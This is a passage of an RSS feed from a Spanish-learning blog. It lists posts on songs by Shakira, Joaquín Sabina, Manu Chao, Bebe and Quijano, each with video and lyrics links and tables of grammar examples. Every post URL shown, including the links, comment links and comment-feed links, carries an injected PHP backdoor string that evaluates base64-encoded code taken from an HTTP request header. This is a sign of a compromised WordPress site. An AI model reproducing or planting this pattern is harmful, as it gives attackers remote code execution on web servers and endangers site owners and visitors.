<li>Shakira at <a href="http://www.apple.com/search/ipoditunes/?q=Shakira">iTunes<br />
</a></li>
<li>Shakira - <a href="http://www.shakira.com/">Official Site</a></li>
<li>Shakira  at Wikipedia: <a href="http://en.wikipedia.org/wiki/Shakira">English</a> | <a href="http://es.wikipedia.org/wiki/Shakira">Español</a></li>
</ul>
<hr />
<table border="0" cellspacing="0" cellpadding="0" width="100%">
<tbody>
<tr>
<td><strong><span style="font-size: small;">Gramática</span></strong></td>
</tr>
</tbody>
</table>
<table border="0" cellspacing="0" cellpadding="0" width="100%">
<tbody>
<tr>
<td width="25%" height="2"></td>
<td width="35%" height="2"></td>
<td width="40%" height="2"></td>
</tr>
<tr>
<td width="25%" height="2"><strong><span style="color: #ff2424;">futuro</span></strong></td>
<td width="35%">cada noche vendrá una estrella</td>
<td width="40%">(venir)</td>
</tr>
<tr>
<td width="25%"></td>
<td width="35%" bgcolor="#f4f4f4">caminaré sin tí</td>
<td width="40%">(caminar - yo)</td>
</tr>
<tr>
<td width="25%"></td>
<td width="35%">escucharé por si</td>
<td width="40%">(escuchar - yo)</td>
</tr>
<tr>
<td width="25%"></td>
<td width="35%" bgcolor="#f4f4f4">esperaré</td>
<td width="40%">(esperar - yo)</td>
</tr>
<tr>
<td width="25%"></td>
<td width="35%">lo que haré</td>
<td width="40%">(hacer - yo)</td>
</tr>
<tr>
<td width="25%"></td>
<td width="35%" bgcolor="#f4f4f4">me quedaré aquí</td>
<td width="40%">(quedarse - yo)</td>
</tr>
<tr>
<td width="25%"></td>
<td width="35%">mi voluntad se hará pequeña</td>
<td width="40%">(hacerse)</td>
</tr>
<tr>
<td width="25%"></td>
<td width="35%" bgcolor="#f4f4f4">no habrá esperanza</td>
<td width="40%">(haber)</td>
</tr>
<tr>
<td width="25%"></td>
<td width="35%">no habrá vida</td>
<td width="40%">(haber)</td>
</tr>
<tr>
<td width="25%"></td>
<td width="35%" bgcolor="#f4f4f4">no quedarán más que desiertos</td>
<td width="40%">(quedar)</td>
</tr>
<tr>
<td width="25%"></td>
<td width="35%">se secarán todos los mares</td>
<td width="40%">(secarse - ellos)</td>
</tr>
<tr>
<td width="25%" height="2"></td>
<td width="35%" height="2"></td>
<td width="40%" height="2"></td>
</tr>
<tr>
<td width="25%" height="2"><strong><span style="color: #ff2424;">gerundio</span></strong></td>
<td width="35%">bebiendo</td>
<td width="40%">(beber)</td>
</tr>
<tr>
<td width="25%"></td>
<td width="35%" bgcolor="#f4f4f4">espiando</td>
<td width="40%">(espiar)</td>
</tr>
<tr>
<td width="25%" height="2"></td>
<td width="35%" height="2"></td>
<td width="40%" height="2"></td>
</tr>
<tr>
<td width="25%" height="2"><strong><span style="color: #ff2424;">imperativo</span></strong></td>
<td width="35%">di(me) amor</td>
<td width="40%">(decir - tù)</td>
</tr>
<tr>
<td width="25%" height="2"></td>
<td width="35%" height="2"></td>
<td width="40%" height="2"></td>
</tr>
<tr>
<td width="25%" height="2"><strong><span style="color: #ff2424;">participio</span></strong></td>
<td width="35%">tapiado</td>
<td width="40%">(tapiar)</td>
</tr>
<tr>
<td width="25%" height="2"></td>
<td width="35%" height="2"></td>
<td width="40%" height="2"></td>
</tr>
<tr>
<td width="25%" height="2"><strong><span style="color: #ff2424;">pasado imperfecto</span></strong></td>
<td width="35%">cuando me querías</td>
<td width="40%">(querer - tù)</td>
</tr>
<tr>
<td width="25%"></td>
<td width="35%" bgcolor="#f4f4f4">habia un perfume</td>
<td width="40%">(haber)</td>
</tr>
<tr>
<td width="25%"></td>
<td width="35%">no tenía fin</td>
<td width="40%">(tener)</td>
</tr>
<tr>
<td width="25%"></td>
<td width="35%" bgcolor="#f4f4f4">que era tan serena</td>
<td width="40%">(ser)</td>
</tr>
<tr>
<td width="25%"></td>
<td width="35%">que yo respiraba</td>
<td width="40%">(respirar - yo)</td>
</tr>
<tr>
<td width="25%" height="2"></td>
<td width="35%" height="2"></td>
<td width="40%" height="2"></td>
</tr>
<tr>
<td width="25%" height="2"><strong><span style="color: #ff2424;">pronombre personal</span></strong></td>
<td width="35%">sin ti</td>
<td width="40%"></td>
</tr>
<tr>
<td width="25%" height="2"></td>
<td width="35%" height="2"></td>
<td width="40%" height="2"></td>
</tr>
<tr>
<td width="25%" height="2"><strong><span style="color: #ff2424;">subjuntivo</span></strong></td>
<td width="35%">que te cuente cómo estoy</td>
<td width="40%">(contar - yo)</td>
</tr>
<tr>
<td width="25%"></td>
<td width="35%" bgcolor="#f4f4f4">que&#8230;sepas lo que hay</td>
<td width="40%">(saber - tù)</td>
</tr>
<tr>
<td width="25%" height="2"></td>
<td width="35%" height="2"></td>
<td width="40%" height="2"></td>
</tr>
<tr>
<td width="25%" height="2"><strong><span style="color: #ff2424;">unión de palabras u oraciones negativas</span></strong></td>
<td width="35%">no habrá esperanza ni habrá nada</td>
<td width="40%">(no &#8230; ni)</td>
</tr>
<tr>
<td width="25%" height="2"></td>
<td width="35%" height="2"></td>
<td width="40%" height="2"></td>
</tr>
<tr>
<td width="25%" height="2"><strong><span style="color: #ff2424;">uso de &#8216;por&#8217;</span></strong></td>
<td width="35%">y escucharé por si algún latido le queda</td>
<td width="40%"></td>
</tr>
<tr>
<td width="25%" height="2"></td>
<td width="35%" height="2"></td>
<td width="40%" height="2"></td>
</tr>
<tr>
<td width="25%" height="2"><strong><span style="color: #ff2424;">verbo irregular</span></strong></td>
<td width="35%">no sé</td>
<td width="40%">(saber - yo)</td>
</tr>
<tr>
<td width="25%"></td>
<td width="35%" bgcolor="#f4f4f4">vuelves</td>
<td width="40%">(volver - tù)</td>
</tr>
</tbody>
</table>
]]></content:encoded>
			<wfw:commentRss>http://buenaspalabras.com/2008/08/12/si-tu-no-vuelves/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Noches de boda - Joaquín Sabina</title>
		<link>http://buenaspalabras.com/2008/08/12/noches-de-boda/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://buenaspalabras.com/2008/08/12/noches-de-boda/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Tue, 12 Aug 2008 19:04:10 +0000</pubDate>
		<dc:creator>Geoff</dc:creator>
		
		<category><![CDATA[España]]></category>

		<guid isPermaLink="false">http://buenaspalabras.com/wp/?p=33</guid>
		<description><![CDATA[
WATCH the video at YouTube
READ the lyrics

Joaquín Sabina at iTunes

Joaquín Sabina - Official Site
Joaquín Sabina at Wikipedia: English &#124; Español





Gramática











subjuntivo
que se mueran
(morir)



no se ocupe
(ocupar)



que detenga
(detener)



que doren
(dorar)



que gane
(ganar)



que no cierren
(cerrar)



que no compren
(comprar)



que no cuenten
(contar)



que no duerman
(dormir)



que no lastre
(lastrar)



que no se ponga
(poner)



que no te den
(dar)



que no tengan
(tener)



que no valga
(valer)



que no vendan
(vender)



que no venga
(venir)



que nunca sepas
(saber)



que parezcan
(parecer)



que se [...]]]></description>
			<content:encoded><![CDATA[<ul>
<li><strong>WATCH </strong>the video at <a href="http://www.youtube.com/watch?v=IhFeAqoSdgg" target="_blank">YouTube</a></li>
<li><strong>READ </strong>the <a href="http://www.lyricsdomain.com/19/sabina_joaquin/noches_de_boda.html">lyrics</a></li>
<li><a href="http://www.allthelyrics.com/forum/spanish-lyrics-translation/37115-a-translation-for-cucurrucucu-palomas.html"></a></li>
<li>Joaquín Sabina at <a href="http://www.apple.com/search/ipoditunes/?q=Joaquín Sabina">iTunes<br />
</a></li>
<li>Joaquín Sabina - <a href="http://www.jsabina.com/">Official Site</a></li>
<li>Joaquín Sabina at Wikipedia: <a href="http://en.wikipedia.org/wiki/Joaqu%C3%ADn_Sabina">English</a> | <a href="http://es.wikipedia.org/wiki/Joaqu%C3%ADn_Sabina">Español</a></li>
</ul>
<hr />
<table border="0" cellspacing="0" cellpadding="0" width="100%">
<tbody>
<tr>
<td><strong><span style="font-size: small;">Gramática</span></strong></td>
</tr>
</tbody>
</table>
<table border="0" cellspacing="0" cellpadding="0" width="100%">
<tbody>
<tr>
<td width="25%" height="2"></td>
<td width="35%" height="2"></td>
<td width="40%" height="2"></td>
</tr>
<tr>
<td width="25%" height="2"><strong><span style="color: #ff2424;">subjuntivo</span></strong></td>
<td width="35%">que se mueran</td>
<td width="40%">(morir)</td>
</tr>
<tr>
<td width="25%"></td>
<td width="35%" bgcolor="#f4f4f4">no se ocupe</td>
<td width="40%">(ocupar)</td>
</tr>
<tr>
<td width="25%"></td>
<td width="35%">que detenga</td>
<td width="40%">(detener)</td>
</tr>
<tr>
<td width="25%"></td>
<td width="35%" bgcolor="#f4f4f4">que doren</td>
<td width="40%">(dorar)</td>
</tr>
<tr>
<td width="25%"></td>
<td width="35%">que gane</td>
<td width="40%">(ganar)</td>
</tr>
<tr>
<td width="25%"></td>
<td width="35%" bgcolor="#f4f4f4">que no cierren</td>
<td width="40%">(cerrar)</td>
</tr>
<tr>
<td width="25%"></td>
<td width="35%">que no compren</td>
<td width="40%">(comprar)</td>
</tr>
<tr>
<td width="25%"></td>
<td width="35%" bgcolor="#f4f4f4">que no cuenten</td>
<td width="40%">(contar)</td>
</tr>
<tr>
<td width="25%"></td>
<td width="35%">que no duerman</td>
<td width="40%">(dormir)</td>
</tr>
<tr>
<td width="25%"></td>
<td width="35%" bgcolor="#f4f4f4">que no lastre</td>
<td width="40%">(lastrar)</td>
</tr>
<tr>
<td width="25%"></td>
<td width="35%">que no se ponga</td>
<td width="40%">(poner)</td>
</tr>
<tr>
<td width="25%"></td>
<td width="35%" bgcolor="#f4f4f4">que no te den</td>
<td width="40%">(dar)</td>
</tr>
<tr>
<td width="25%"></td>
<td width="35%">que no tengan</td>
<td width="40%">(tener)</td>
</tr>
<tr>
<td width="25%"></td>
<td width="35%" bgcolor="#f4f4f4">que no valga</td>
<td width="40%">(valer)</td>
</tr>
<tr>
<td width="25%"></td>
<td width="35%">que no vendan</td>
<td width="40%">(vender)</td>
</tr>
<tr>
<td width="25%"></td>
<td width="35%" bgcolor="#f4f4f4">que no venga</td>
<td width="40%">(venir)</td>
</tr>
<tr>
<td width="25%"></td>
<td width="35%">que nunca sepas</td>
<td width="40%">(saber)</td>
</tr>
<tr>
<td width="25%"></td>
<td width="35%" bgcolor="#f4f4f4">que parezcan</td>
<td width="40%">(parecer)</td>
</tr>
<tr>
<td width="25%"></td>
<td width="35%">que se pase</td>
<td width="40%">(pasar)</td>
</tr>
<tr>
<td width="25%"></td>
<td width="35%" bgcolor="#f4f4f4">que se ponga</td>
<td width="40%">(poner)</td>
</tr>
<tr>
<td width="25%"></td>
<td width="35%">que sea</td>
<td width="40%">(ser)</td>
</tr>
<tr>
<td width="25%"></td>
<td width="35%" bgcolor="#f4f4f4">que te aproveche</td>
<td width="40%">(aprovechar)</td>
</tr>
<tr>
<td width="25%"></td>
<td width="35%">que te doren</td>
<td width="40%">(dorar)</td>
</tr>
<tr>
<td width="25%"></td>
<td width="35%" bgcolor="#f4f4f4">que te pille</td>
<td width="40%">(pillar)</td>
</tr>
<tr>
<td width="25%"></td>
<td width="35%">que todas sean</td>
<td width="40%">(ser)</td>
</tr>
</tbody>
</table>
]]></content:encoded>
			<wfw:commentRss>http://buenaspalabras.com/2008/08/12/noches-de-boda/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Me gustas tu - Manu Chao</title>
		<link>http://buenaspalabras.com/2008/08/12/me-gustas-tu/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://buenaspalabras.com/2008/08/12/me-gustas-tu/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Tue, 12 Aug 2008 19:01:11 +0000</pubDate>
		<dc:creator>Geoff</dc:creator>
		
		<category><![CDATA[Francia]]></category>

		<guid isPermaLink="false">http://buenaspalabras.com/wp/?p=32</guid>
		<description><![CDATA[
WATCH the video at YouTube
READ the lyrics
An English translation
Manu Chao at iTunes

Manu Chao - Official Site
Manu Chao at Wikipedia: English &#124; Español






Gramática









gustar y verbos similares
me gusta el viento




me gusta la mañana




me gusta soñar




me gusta viajar




me gustan los aviones




me gustas tu




]]></description>
			<content:encoded><![CDATA[<ul>
<li><strong>WATCH </strong>the video at <a href="http://es.youtube.com/watch?v=mzgjiPBCsss" target="_blank">YouTube</a></li>
<li><strong>READ </strong>the <a href="http://www.lyrics-top.com/77074-32244/Me-Gustas-Tu/Manu-Chao.html">lyrics</a></li>
<li>An English <a href="http://www.allthelyrics.com/lyrics/manu_chao/me_gustas_tu-lyrics-662295.html">translation</a></li>
<li>Manu Chao at <a href="http://www.apple.com/search/ipoditunes/?q=Manu Chao">iTunes<br />
</a></li>
<li>Manu Chao - <a href="http://www.manuchao.net/">Official Site</a></li>
<li>Manu Chao at Wikipedia: <a href="http://en.wikipedia.org/wiki/Manu_Chao">English</a> | <a href="http://es.wikipedia.org/wiki/Manu_Chao">Español</a></li>
</ul>
<hr />
<table border="0" cellspacing="0" cellpadding="0" width="100%">
<tbody>
<tr></tr>
<tr>
<td width="25%" height="2"><strong><span style="font-size: small;">Gramática</span></strong></td>
<td width="35%" height="2"></td>
<td width="40%" height="2"></td>
</tr>
<tr>
<td width="25%" height="2"><strong></strong></td>
<td width="35%" height="2"></td>
<td width="40%" height="2"></td>
</tr>
<tr>
<td width="25%" height="2"><strong><span style="color: #ff2424;">gustar y verbos similares</span></strong></td>
<td width="35%">me gusta el viento</td>
<td width="40%"></td>
</tr>
<tr>
<td width="25%"></td>
<td width="35%" bgcolor="#e8e8e8">me gusta la mañana</td>
<td width="40%"></td>
</tr>
<tr>
<td width="25%"></td>
<td width="35%">me gusta soñar</td>
<td width="40%"></td>
</tr>
<tr>
<td width="25%"></td>
<td width="35%" bgcolor="#e8e8e8">me gusta viajar</td>
<td width="40%"></td>
</tr>
<tr>
<td width="25%"></td>
<td width="35%">me gustan los aviones</td>
<td width="40%"></td>
</tr>
<tr>
<td width="25%"></td>
<td width="35%" bgcolor="#e8e8e8">me gustas tu</td>
<td width="40%"></td>
</tr>
</tbody>
</table>
]]></content:encoded>
			<wfw:commentRss>http://buenaspalabras.com/2008/08/12/me-gustas-tu/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Malo - Bebe</title>
		<link>http://buenaspalabras.com/2008/08/12/malo/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://buenaspalabras.com/2008/08/12/malo/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Tue, 12 Aug 2008 18:56:26 +0000</pubDate>
		<dc:creator>Geoff</dc:creator>
		
		<category><![CDATA[España]]></category>

		<guid isPermaLink="false">http://buenaspalabras.com/wp/?p=31</guid>
		<description><![CDATA[
WATCH the video at Daily Motion
READ the lyrics
An English translation
Bebe at iTunes

Bebe  - Official Site
Bebe at Wikipedia: English &#124; Español





Gramática











diminutivo
carita
(cara)



cigarrito
(cigarrillo)



corazoncito
(corazon)



deditos
(dedos)



lagrimitas
(lagrimas)



penita
(pena)







futuro
saldrá
el valor
(salir)







gerundio
comiendo
(comer)







imperativo negativo
no grites
(gritar - tù)



no me chilles
(chillar - tù)



no te pienses mejor que las mujeres
(pensar - tù)







pasado imperfecto
cruzaba
(cruzar - yo)



el miedo ya me recorría
(recorrer)







pasado indefinido
apareciste
(aparecer - tù)







pronombre directo
(la penita&#8230;) yo me la tengo que [...]]]></description>
			<content:encoded><![CDATA[<ul>
<li><strong>WATCH </strong>the video at <a href="http://www.dailymotion.com/relevance/search/bebe+malo/video/xl2oo_bebe-malo_music" target="_blank">Daily Motion</a></li>
<li><strong>READ </strong>the <a href="http://www.quedeletras.com/letra-cancion-malo-bajar-5733/disco-pafuera-telaranas/bebe-malo.html">lyrics</a></li>
<li>An English <a href="http://bryongaskin.net/spanish/Lyrics/bebe/bebe_malo.htm">translation</a></li>
<li>Bebe at <a href="http://www.apple.com/search/ipoditunes/?q=Bebe ">iTunes<br />
</a></li>
<li>Bebe  - <a href="http://www.labebebellota.com/">Official Site</a></li>
<li>Bebe at Wikipedia: <a href="http://en.wikipedia.org/wiki/Bebe_(entertainer)">English</a> | <a href="http://es.wikipedia.org/wiki/Nieves_Rebolledo_Vila">Español</a></li>
</ul>
<hr />
<table border="0" cellspacing="0" cellpadding="0" width="100%">
<tbody>
<tr>
<td><strong><span style="font-size: small;">Gramática</span></strong></td>
</tr>
</tbody>
</table>
<table border="0" cellspacing="0" cellpadding="0" width="100%">
<tbody>
<tr>
<td width="34%" height="2"></td>
<td width="35%" height="2"></td>
<td width="31%" height="2"></td>
</tr>
<tr>
<td width="34%" height="2"><strong><span style="color: #ff2424;">diminutivo</span></strong></td>
<td width="35%">carita</td>
<td width="31%">(cara)</td>
</tr>
<tr>
<td width="34%"></td>
<td width="35%" bgcolor="#e8e8e8">cigarrito</td>
<td width="31%">(cigarrillo)</td>
</tr>
<tr>
<td width="34%"></td>
<td width="35%">corazoncito</td>
<td width="31%">(corazon)</td>
</tr>
<tr>
<td width="34%"></td>
<td width="35%" bgcolor="#e8e8e8">deditos</td>
<td width="31%">(dedos)</td>
</tr>
<tr>
<td width="34%"></td>
<td width="35%">lagrimitas</td>
<td width="31%">(lagrimas)</td>
</tr>
<tr>
<td width="34%"></td>
<td width="35%" bgcolor="#e8e8e8">penita</td>
<td width="31%">(pena)</td>
</tr>
<tr>
<td width="34%" height="2"></td>
<td width="35%" height="2"></td>
<td width="31%" height="2"></td>
</tr>
<tr>
<td width="34%" height="2"><strong><span style="color: #ff2424;">futuro</span></strong></td>
<td width="35%">saldrá<br />
el valor</td>
<td width="31%">(salir)</td>
</tr>
<tr>
<td width="34%" height="2"></td>
<td width="35%" height="2"></td>
<td width="31%" height="2"></td>
</tr>
<tr>
<td width="34%" height="2"><strong><span style="color: #ff2424;">gerundio</span></strong></td>
<td width="35%">comiendo</td>
<td width="31%">(comer)</td>
</tr>
<tr>
<td width="34%" height="2"></td>
<td width="35%" height="2"></td>
<td width="31%" height="2"></td>
</tr>
<tr>
<td width="34%" height="2"><strong><span style="color: #ff2424;">imperativo negativo</span></strong></td>
<td width="35%">no grites</td>
<td width="31%">(gritar - tù)</td>
</tr>
<tr>
<td width="34%"></td>
<td width="35%" bgcolor="#e8e8e8">no me chilles</td>
<td width="31%">(chillar - tù)</td>
</tr>
<tr>
<td width="34%"></td>
<td width="35%">no te pienses mejor que las mujeres</td>
<td width="31%">(pensar - tù)</td>
</tr>
<tr>
<td width="34%" height="2"></td>
<td width="35%" height="2"></td>
<td width="31%" height="2"></td>
</tr>
<tr>
<td width="34%" height="2"><strong><span style="color: #ff2424;">pasado imperfecto</span></strong></td>
<td width="35%">cruzaba</td>
<td width="31%">(cruzar - yo)</td>
</tr>
<tr>
<td width="34%"></td>
<td width="35%" bgcolor="#e8e8e8">el miedo ya me recorría</td>
<td width="31%">(recorrer)</td>
</tr>
<tr>
<td width="34%" height="2"></td>
<td width="35%" height="2"></td>
<td width="31%" height="2"></td>
</tr>
<tr>
<td width="34%" height="2"><strong><span style="color: #ff2424;">pasado indefinido</span></strong></td>
<td width="35%">apareciste</td>
<td width="31%">(aparecer - tù)</td>
</tr>
<tr>
<td width="34%" height="2"></td>
<td width="35%" height="2"></td>
<td width="31%" height="2"></td>
</tr>
<tr>
<td width="34%" height="2"><strong><span style="color: #ff2424;">pronombre directo</span></strong></td>
<td width="35%">(la penita&#8230;) yo me la tengo que tragar</td>
<td width="31%">(la)</td>
</tr>
<tr>
<td width="34%"></td>
<td width="35%" bgcolor="#e8e8e8">(tu carita&#8230;) se la ha ido comiendo</td>
<td width="31%">(la)</td>
</tr>
<tr>
<td width="34%" height="2"></td>
<td width="35%" height="2"></td>
<td width="31%" height="2"></td>
</tr>
<tr>
<td width="34%" height="2"><strong><span style="color: #ff2424;">pronombre indefinido</span></strong></td>
<td width="35%">no se daña quien se quiere</td>
<td width="31%">(quien)</td>
</tr>
<tr>
<td width="34%"></td>
<td width="35%" bgcolor="#e8e8e8">no te pienses mejor que yo ni que nadie</td>
<td width="31%">(nadie)</td>
</tr>
<tr>
<td width="34%" height="2"></td>
<td width="35%" height="2"></td>
<td width="31%" height="2"></td>
</tr>
<tr>
<td width="34%" height="2"><strong><span style="color: #ff2424;">pronombre indirecto</span></strong></td>
<td width="35%">y te echo el humo en el corazoncito</td>
<td width="31%">(te)</td>
</tr>
<tr>
<td width="34%" height="2"></td>
<td width="35%" height="2"></td>
<td width="31%" height="2"></td>
</tr>
<tr>
<td width="34%" height="2"><strong><span style="color: #ff2424;">unión de palabras u oraciones<br />
negativas</span></strong></td>
<td width="35%">no te pienses mejor que yo ni que nadie.</td>
<td width="31%">(no&#8230;ni)</td>
</tr>
<tr>
<td width="34%" height="2"></td>
<td width="35%" height="2"></td>
<td width="31%" height="2"></td>
</tr>
<tr>
<td width="34%" height="2"><strong><span style="color: #ff2424;">verbo irregular</span></strong></td>
<td width="35%">dices</td>
<td width="31%">(decir - tù)</td>
</tr>
<tr>
<td width="34%"></td>
<td width="35%" bgcolor="#e8e8e8">duermen</td>
<td width="31%">(dormir - ellos)</td>
</tr>
<tr>
<td width="34%" height="2"></td>
<td width="35%" height="2"></td>
<td width="31%" height="2"></td>
</tr>
<tr>
<td width="34%" height="2"><strong><span style="color: #ff2424;">verbo reflexivo</span></strong></td>
<td width="35%">cuando te vas</td>
<td width="31%">(irse - tù)</td>
</tr>
</tbody>
</table>
]]></content:encoded>
			<wfw:commentRss>http://buenaspalabras.com/2008/08/12/malo/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>La magdalena - Quijano</title>
		<link>http://buenaspalabras.com/2008/08/12/la-magdalena/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://buenaspalabras.com/2008/08/12/la-magdalena/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Tue, 12 Aug 2008 18:41:19 +0000</pubDate>
		<dc:creator>Geoff</dc:creator>
		
		<category><![CDATA[España]]></category>

		<guid isPermaLink="false">http://buenaspalabras.com/wp/?p=30</guid>
		<description><![CDATA[
WATCH the video at YouTube
READ the lyrics

Quijano (+Cafe Quijano) at iTunes

Manuel Quijano - Official Site





Gramática











énfasis de la ausencia
no hay ni uno








imperativo
déjate de decir
(dejarse - tù)



haz(me caso)
(hacer - tù)







plural irregular
peces
(pez)







pronombre directo
él no te quiere
(te)



le quieres a él
(le)



y no te miento
(te)







subjuntivo
no hay ni uno solo solo que no falle
(fallar)







unión de palabras u oraciones
negativas
no paras de llorar ni [...]]]></description>
			<content:encoded><![CDATA[<ul>
<li><strong>WATCH </strong>the video at <a href="http://www.youtube.com/watch?v=a9kRUY4WLFI">YouTube</a></li>
<li><strong>READ </strong>the <a href="http://www.musica.com/videosletras.asp?letra=1004139&amp;opc=video&amp;video=1486">lyrics</a></li>
<li><a href="http://www.allthelyrics.com/forum/spanish-lyrics-translation/37115-a-translation-for-cucurrucucu-palomas.html"></a></li>
<li><span class="description">Quijano</span> (+Cafe Quijano) at <a href="http://www.apple.com/search/ipoditunes/?q=Manuel Quijano">iTunes<br />
</a></li>
<li><span class="description">Manuel Quijano</span> - <a href="http://www.quijano.com.es/">Official Site</a></li>
</ul>
<hr />
<table border="0" cellspacing="0" cellpadding="0" width="100%">
<tbody>
<tr>
<td><strong><span style="font-size: small;">Gramática</span></strong></td>
</tr>
</tbody>
</table>
<table border="0" cellspacing="0" cellpadding="0" width="100%">
<tbody>
<tr>
<td width="25%" height="2"></td>
<td width="35%" height="2"></td>
<td width="40%" height="2"></td>
</tr>
<tr>
<td width="25%" height="2"><strong><span style="color: #ff2424;">énfasis de la ausencia</span></strong></td>
<td width="35%">no hay ni uno</td>
<td width="40%"></td>
</tr>
<tr>
<td width="25%" height="2"></td>
<td width="35%" height="2"></td>
<td width="40%" height="2"></td>
</tr>
<tr>
<td width="25%" height="2"><strong><span style="color: #ff2424;">imperativo</span></strong></td>
<td width="35%">déjate de decir</td>
<td width="40%">(dejarse - tù)</td>
</tr>
<tr>
<td width="25%"></td>
<td width="35%" bgcolor="#f4f4f4">haz(me caso)</td>
<td width="40%">(hacer - tù)</td>
</tr>
<tr>
<td width="25%" height="2"></td>
<td width="35%" height="2"></td>
<td width="40%" height="2"></td>
</tr>
<tr>
<td width="25%" height="2"><strong><span style="color: #ff2424;">plural irregular</span></strong></td>
<td width="35%">peces</td>
<td width="40%">(pez)</td>
</tr>
<tr>
<td width="25%" height="2"></td>
<td width="35%" height="2"></td>
<td width="40%" height="2"></td>
</tr>
<tr>
<td width="25%" height="2"><strong><span style="color: #ff2424;">pronombre directo</span></strong></td>
<td width="35%">él no te quiere</td>
<td width="40%">(te)</td>
</tr>
<tr>
<td width="25%"></td>
<td width="35%" bgcolor="#f4f4f4">le quieres a él</td>
<td width="40%">(le)</td>
</tr>
<tr>
<td width="25%"></td>
<td width="35%">y no te miento</td>
<td width="40%">(te)</td>
</tr>
<tr>
<td width="25%" height="2"></td>
<td width="35%" height="2"></td>
<td width="40%" height="2"></td>
</tr>
<tr>
<td width="25%" height="2"><strong><span style="color: #ff2424;">subjuntivo</span></strong></td>
<td width="35%">no hay ni uno solo solo que no falle</td>
<td width="40%">(fallar)</td>
</tr>
<tr>
<td width="25%" height="2"></td>
<td width="35%" height="2"></td>
<td width="40%" height="2"></td>
</tr>
<tr>
<td width="25%" height="2"><strong><span style="color: #ff2424;">unión de palabras u oraciones<br />
negativas</span></strong></td>
<td width="35%">no paras de llorar ni comes</td>
<td width="40%">(no/ni)</td>
</tr>
<tr>
<td width="25%" height="2"></td>
<td width="35%" height="2"></td>
<td width="40%" height="2"></td>
</tr>
<tr>
<td width="25%" height="2"><strong><span style="color: #ff2424;">uso de &#8216;por&#8217;</span></strong></td>
<td width="35%">por culpa de ese hombre</td>
<td width="40%"></td>
</tr>
<tr>
<td width="25%"></td>
<td width="35%" bgcolor="#f4f4f4">si no es por una cosa</td>
<td width="40%"></td>
</tr>
<tr>
<td width="25%" height="2"></td>
<td width="35%" height="2"></td>
<td width="40%" height="2"></td>
</tr>
<tr>
<td width="25%" height="2"><strong><span style="color: #ff2424;">verbo irregular</span></strong></td>
<td width="35%">cuentan</td>
<td width="40%">(contar - ellos)</td>
</tr>
<tr>
<td width="25%"></td>
<td width="35%" bgcolor="#f4f4f4">se encuentran</td>
<td width="40%">(encontrarse - ellos)</td>
</tr>
<tr>
<td width="25%"></td>
<td width="35%">te vistes.</td>
<td width="40%">(vestirse - tù)</td>
</tr>
<tr>
<td width="25%"></td>
<td width="35%" bgcolor="#f4f4f4">vas</td>
<td width="40%">(ir - tù)</td>
</tr>
<tr>
<td width="25%"></td>
<td width="35%">y no te miento.</td>
<td width="40%">(mentir)</td>
</tr>
<tr>
<td width="25%" height="2"></td>
<td width="35%" height="2"></td>
<td width="40%" height="2"></td>
</tr>
<tr>
<td width="25%" height="2"><strong><span style="color: #ff2424;">verbo reflexivo</span></strong></td>
<td width="35%">te lavas</td>
<td width="40%">(lavarse - tù)</td>
</tr>
<tr>
<td width="25%"></td>
<td width="35%" bgcolor="#f4f4f4">te vistes</td>
<td width="40%">(vestirse - tù)</td>
</tr>
</tbody>
</table>
]]></content:encoded>
			<wfw:commentRss>http://buenaspalabras.com/2008/08/12/la-magdalena/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
	</channel>
</rss>

